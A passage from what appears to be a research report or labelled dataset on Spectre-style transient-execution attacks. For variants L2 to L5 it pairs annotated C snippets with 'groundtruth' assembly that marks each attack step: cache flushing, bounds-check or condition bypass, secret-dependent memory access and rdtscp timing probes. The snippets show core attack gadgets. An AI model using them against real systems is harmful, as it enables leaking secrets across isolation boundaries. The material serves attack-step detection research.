mov      %rax,-0x8(%rbp)
mov      -0x8(%rbp),%rax
callq    *%rax
```

Step 4:

```
rdtscp
mov      %ecx,%esi
mov      -0x50(%rbp),%rcx
mov      %esi,(%rcx)
shl      $0x20,%rdx
or       %rdx,%rax
mov      %rax,%rbx
mov      -0x30(%rbp),%rax
movzbl (%rax),%eax
movzbl %al,%eax
mov      %eax,-0x5c(%rbp)
lea      -0x5c(%rbp),%rax
mov      %rax,-0x50(%rbp)
rdtscp
```

2.17. L2: Control Memory by d-cache and Load

2.17.1. Key attack operations in a C/C++ source code

```
for (i = 0; i < 256; i++)
      _mm_clflush( & array2[i * 512]);                          /* Step 1 */
…
void victim_function(size_t    x){
   if (x < array1_size) {                                       /*Step 2*/
         temp &= array2[array1[x] * 512];                       /* Step 3*/
   }
}
…
for (i = 0; i < 256; i++) {:
      mix_i = ((i * 167) + 13) & 255;
      addr = & array2[mix_i * 512];
      time1 = __rdtscp( & junk);                                /* Step 4 */
      junk = * addr;                                            /* Step 4 */
      time2 = __rdtscp( & junk) - time1;                        /* Step 4 */
      if (time2 <= CACHE_HIT_THRESHOLD
            && mix_i != array1[tries % array1_size])
         results[mix_i]++;
}
```

2.17.2. Groundtruth of the attack steps in the AT&T assembly code

Step 1:

```
clflush (%rax)
```

Step 2:

```
mov      0x200a03(%rip),%eax          # 601048 <array1_size>
mov      %eax,%eax
cmp      %rax,-0x8(%rbp)
jae      400678 <victim_function+0x41>
```

Step 3:

```
mov      -0x8(%rbp),%rax
add      $0x601080,%rax
movzbl (%rax),%eax
movzbl %al,%eax
shl      $0x9,%eax
```

```
cltq
movzbl 0x6015e0(%rax),%edx
movzbl 0x200b10(%rip),%eax              # 601180 <temp>
and    %edx,%eax
mov    %al,0x200b08(%rip)               # 601180 <temp>
```

Step 4:

```
rdtscp
mov    %ecx,%esi
mov    -0x50(%rbp),%rcx
mov    %esi,(%rcx)
shl    $0x20,%rdx
or     %rdx,%rax
mov    %rax,%rbx
mov    -0x40(%rbp),%rax
movzbl (%rax),%eax
movzbl %al,%eax
mov    %eax,-0x6c(%rbp)
lea    -0x6c(%rbp),%rax
mov    %rax,-0x60(%rbp)
rdtscp
```

2.18. L3: Control Memory by i-cache and Branch

2.18.1. Key attack operations in a C/C++ source code

```
#define SELECT_TARGET_VADDR(x, addr1, addr2, selector)          /* Step 3*/
    x = (selector == 0) * ~0x0;                                 /* Step 3*/
    x = addr1 ^ (x & (addr2 ^ addr1));                          /* Step 3*/

void train_then_speculatively_jump(uint64_t victim_vaddr, int guess)
{
    uint64_t selected_target_vaddr;

    for (int j = 14; j >= 0 ; j--) {
        SELECT_TARGET_VADDR(
            selected_target_vaddr, benign_vaddr, victim_vaddr, j);

        // flush from the cache
        clflush( (void*) &benign_vaddr_ptr);
```

```
            // Stall to make sure these changes have gone through the pipeline
            for (volatile int z = 0; z < STALL_ITERS; z++) {};

            // Speculatively load secret value-dependent target into the icache
            if (selected_target_vaddr == *benign_vaddr_ptr) {                    /* Step 2*/
                targets[(*((int *) selected_target_vaddr) + 1) * 512]();         /* Step 3*/
            }
        }
}
…
for (int i = 0; i < 2; i++) {
   for (register int guess = 0; guess < NUM_POSSIBLE_ANSWERS; guess++) {
        clflush(targets);                                                        /* Step 1*/
        clflush(targets + 1 * 512);                                              /* Step 1*/
        clflush(targets + 2 * 512);                                              /* Step 1*/
        train_then_speculatively_jump((uint64_t) &secret_value, guess);

        /* stall pipe to make speculation has occurred */
        for (volatile int x = 0; x < STALL_ITERS; x++) {};

        /* record time for this value */
        start_time = rdtscp();                                                   /* Step 4*/
        targets[(guess + 1) * 512]();                                            /* Step 4*/
        times[guess] = rdtscp() - start_time;                                    /* Step 4*/
    };
}
```

2.18.2. Groundtruth of the attack steps in the AT&T assembly code

Step 1:

```
clflush (%rax)  或  clflush 0x20ff27(%rip)
```

Step 2:

```
mov      0x213027(%rip),%rax          # 616070 <benign_vaddr_ptr>
mov      (%rax),%rax
cmp      %rax,-0x10(%rbp)
jne      40306a <train_then_speculatively_jump+0x93>
```

Step 3:

```
mov      -0x10(%rbp),%rax
mov      (%rax),%eax
add      $0x1,%eax
```

```
shl      $0x9,%eax
cltq
mov      0x613060(,%rax,8),%rax
callq    *%rax
push     %rbp
mov      %rsp,%rbp
nop
pop      %rbp
retq
subl     $0x1,-0x4(%rbp)
cmpl     $0x0,-0x4(%rbp)
jns      402fef <train_then_speculatively_jump+0x18>
```

Step 4:

```
rdtscp
mov      %eax,-0x34(%rbp)
mov      %edx,-0x38(%rbp)
mov      -0x34(%rbp),%eax
mov      -0x38(%rbp),%edx
shl      $0x20,%rdx
or       %rdx,%rax
mov      %rax,%r12
lea      0x1(%rbx),%eax
shl      $0x9,%eax
cltq
mov      0x613060(,%rax,8),%rax
callq    *%rax
rdtscp
```

2.19. L4: Control Register by d-cache and Load

2.19.1. Key attack operations in a C/C++ source code

```
for (i = 0; i < 256; i++)
      _mm_clflush( & array2[i * 512]);                    /* Step 1 */
…
void victim_function(size_t x, int *condition) {
   uint8_t *secret_addr = array2 + array1[x] * 512;
   _mm_clflush(condition);

   for (volatile int z = 0; z < STALL_ITERS; z++) {};
```

```
   if (*condition) {                                          /* Step 2 */
      temp &= *secret_addr;                                   /* Step 3 */
   }
}
…
for (i = 0; i < 256; i++) {:
      mix_i = ((i * 167) + 13) & 255;
      addr = & array2[mix_i * 512];
      time1 = __rdtscp( & junk);                              /* Step 4 */
      junk = * addr;                                          /* Step 4 */
      time2 = __rdtscp( & junk) - time1;                      /* Step 4 */
      if (time2 <= CACHE_HIT_THRESHOLD
            && mix_i != array1[tries % array1_size])
         results[mix_i]++;
}
```

2.19.2. Groundtruth of the attack steps in the AT&T assembly code

Step 1:

```
clflush (%rax)
```

Step 2:

```
mov      -0x30(%rbp),%rax
mov      (%rax),%eax
test     %eax,%eax
je       4006ab <victim_function+0x74>
```

Step 3:

```
mov      -0x8(%rbp),%rax
movzbl (%rax),%edx
movzbl 0x201add(%rip),%eax          # 602180 <temp>
and      %edx,%eax
mov      %al,0x201ad5(%rip)         # 602180 <temp>
```

Step 4:

```
rdtscp
mov      %ecx,%esi
mov      -0x50(%rbp),%rcx
mov      %esi,(%rcx)
shl      $0x20,%rdx
or       %rdx,%rax
```

```
mov       %rax,%rbx
mov       -0x30(%rbp),%rax
movzbl (%rax),%eax
movzbl %al,%eax
mov       %eax,-0x5c(%rbp)
lea       -0x5c(%rbp),%rax
mov       %rax,-0x50(%rbp)
rdtscp
```

2.20. L5: Data Sampling by d-cache and Load

2.20.1. Key attack operations in a C/C++ source code

```
for (i = 0; i < 256; i++)
      _mm_clflush( & array2[i * 512]);                          /* Step 1 */
…
_mm_clflush(&a);
_mm_clflush(&b);
_mm_clflush(&c);
_mm_clflush(&d);
_mm_clflush(&e);
_mm_clflush(&secret);

str[3]=malicious_x;
/* stall */
for(volatile int j = 0;j < 100; j++);                           /* Step 2 */

str[a * b - c * e    - 20] = 0;                                 /* Step 3 */
s = probe[str[3]];                                              /* Step 3 */
temp &= cache_test[512 * s];                                    /* Step 3 */
…
for (i = 0; i < 256; i++) {:
      mix_i = ((i * 167) + 13) & 255;
      addr = & array2[mix_i * 512];
      time1 = __rdtscp( & junk);                                /* Step 4 */
      junk = * addr;                                            /* Step 4 */
      time2 = __rdtscp( & junk) - time1;                        /* Step 4 */
      if (time2 <= CACHE_HIT_THRESHOLD
            && mix_i != array1[tries % array1_size])
          results[mix_i]++;
}
```

2.20.2. Groundtruth of the attack steps in the AT&T assembly code

Step 1:

```
clflush (%rax)
```

Step 2:

```
mov      -0x888(%rbp),%eax
add      $0x1,%eax
mov      %eax,-0x888(%rbp)
mov      -0x888(%rbp),%eax
cmp      $0x63,%eax
jle      40073b <attack+0xd4>
```

Step 3:

```
mov      0x2009c9(%rip),%edx          # 601124 <a>
mov      0x2009c7(%rip),%eax          # 601128 <b>
imul     %eax,%edx
mov      0x2009c2(%rip),%ecx          # 60112c <c>
mov      0x2009c4(%rip),%eax          # 601134 <e>
imul     %ecx,%eax
sub      %eax,%edx
mov      %edx,%eax
sub      $0x14,%eax
cltq
movq     $0x0,0x621160(,%rax,8)
mov      0x2209e9(%rip),%rax          # 621178 <str+0x18>
movzbl 0x601080(%rax),%ebx
movzbl %bl,%eax
shl      $0x9,%eax
cltq
movzbl 0x601160(%rax),%eax
movzbl %al,%edx
mov      0x2009a1(%rip),%rax          # 601150 <temp>
and      %rdx,%rax
mov      %rax,0x200997(%rip)          # 601150 <temp>
```

Step 4:

```
rdtscp
mov      %ecx,%esi
mov      -0x70(%rbp),%rcx
mov      %esi,(%rcx)
```

```
shl      $0x20,%rdx
or       %rdx,%rax
mov      %rax,%r12
mov      -0x28(%rbp),%rax
movzbl (%rax),%eax
movzbl %al,%edx
mov      -0x74(%rbp),%eax
and      %edx,%eax
mov      %eax,-0x74(%rbp)
lea      -0x74(%rbp),%rax
mov      %rax,-0x68(%rbp)
rdtscp
```